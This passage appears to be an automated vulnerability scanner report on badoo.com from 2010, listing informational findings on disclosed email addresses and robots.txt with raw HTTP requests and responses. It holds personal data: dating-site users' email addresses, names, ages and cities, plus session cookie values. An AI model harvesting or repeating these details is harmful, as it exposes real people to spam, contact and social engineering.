HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:50:05 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:50:04 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 10833
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]...
9. Email addresses disclosedpreviousnext There are 3 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
The following email address was disclosed in the response:
jeuris.michel@hotmai.com
Request
GET /093407644/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:41 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:40 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 16697
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]... <meta name="description" content=" Hip hop reggeton r&p.. Vincent: Very nice picture, best wishes jeuris.michel@hotmai.com Kathy: Escribeme, eres bellisimooooooooooo Write me, you are beautifullllllllll Dating Anthony Tony, 32 from Westminster, United States on free online dating site Badoo" /> ...[SNIP]...
The following email address was disclosed in the response:
mfmj_86@hotmail.com
Request
GET /association/ HTTP/1.1 Host: badoo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; t=1|7779|8|10039|cr|7779; __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.1.10.1289338958;
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: close Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 15:53:32 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Set-Cookie: t=deleted; expires=Mon, 09-Nov-2009 15:53:31 GMT; path=/; domain=.badoo.com Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 14584
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]... <meta name="description" content=" Deportes, Musica, Peliculas y los artes. lo que habla la gente de Tyler Howes, 26: FERNANDA: lindisimo! mfmj_86@hotmail.com Saydi Elizabeth: Que hermosa sonrisa, realmente no tengo palabras. Simplemente eres demasiado hermoso. Conoce a Tyler Howes, 26 de Salt Lake City, United States en la web de contactos, amistad, encuen ...[SNIP]...
The following email address was disclosed in the response:
egemavisi-_-sin@hotmail.co
Request
GET /doritos699/?sold2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4 HTTP/1.1 Host: badoo.com Proxy-Connection: keep-alive Referer: http://badoo.com/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=175644733.1289338958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; __utma=175644733.789109238.1289338958.1289338958.1289338958.1; __utmc=175644733; __utmb=175644733.2.10.1289338958
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: s2=38FQZ8_uMKHZcCoHHN061mw.aneIQtaz4; path=/; domain=.badoo.com Date: Tue, 09 Nov 2010 16:20:22 GMT P3P: policyref="http://badoo.com/w3c/p3p.xml", CP="NOI DSP COR NID ADM DEV PSA OUR IND UNI PUR COM NAV INT STA" Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Cache-control: private Content-Length: 15133
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html id=""> <head> <meta http-equiv="Content-type" content="text/html;charset=utf-8" /> <title ...[SNIP]... <meta name="description" content=" . Zekeriya: thanks for n..ce and sexy body Egemavisi3542: hello Ely Im egemen ..zmir/Turkey you are Im friends ok Im msn:egemavisi-_-sin@hotmail.co m Dating Elizabeth Fuentes, 29 from Los Angeles, United States on free online dating site Badoo" /> ...[SNIP]...
The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.
The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.
Issue remediation
The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.
Request
GET /robots.txt HTTP/1.0 Host: badoo.com
Response
HTTP/1.1 200 OK Server: nginx/0.7.64 Date: Tue, 09 Nov 2010 15:49:37 GMT Content-Type: text/plain Content-Length: 580 Last-Modified: Thu, 16 Sep 2010 11:21:16 GMT Connection: close Accept-Ranges: bytes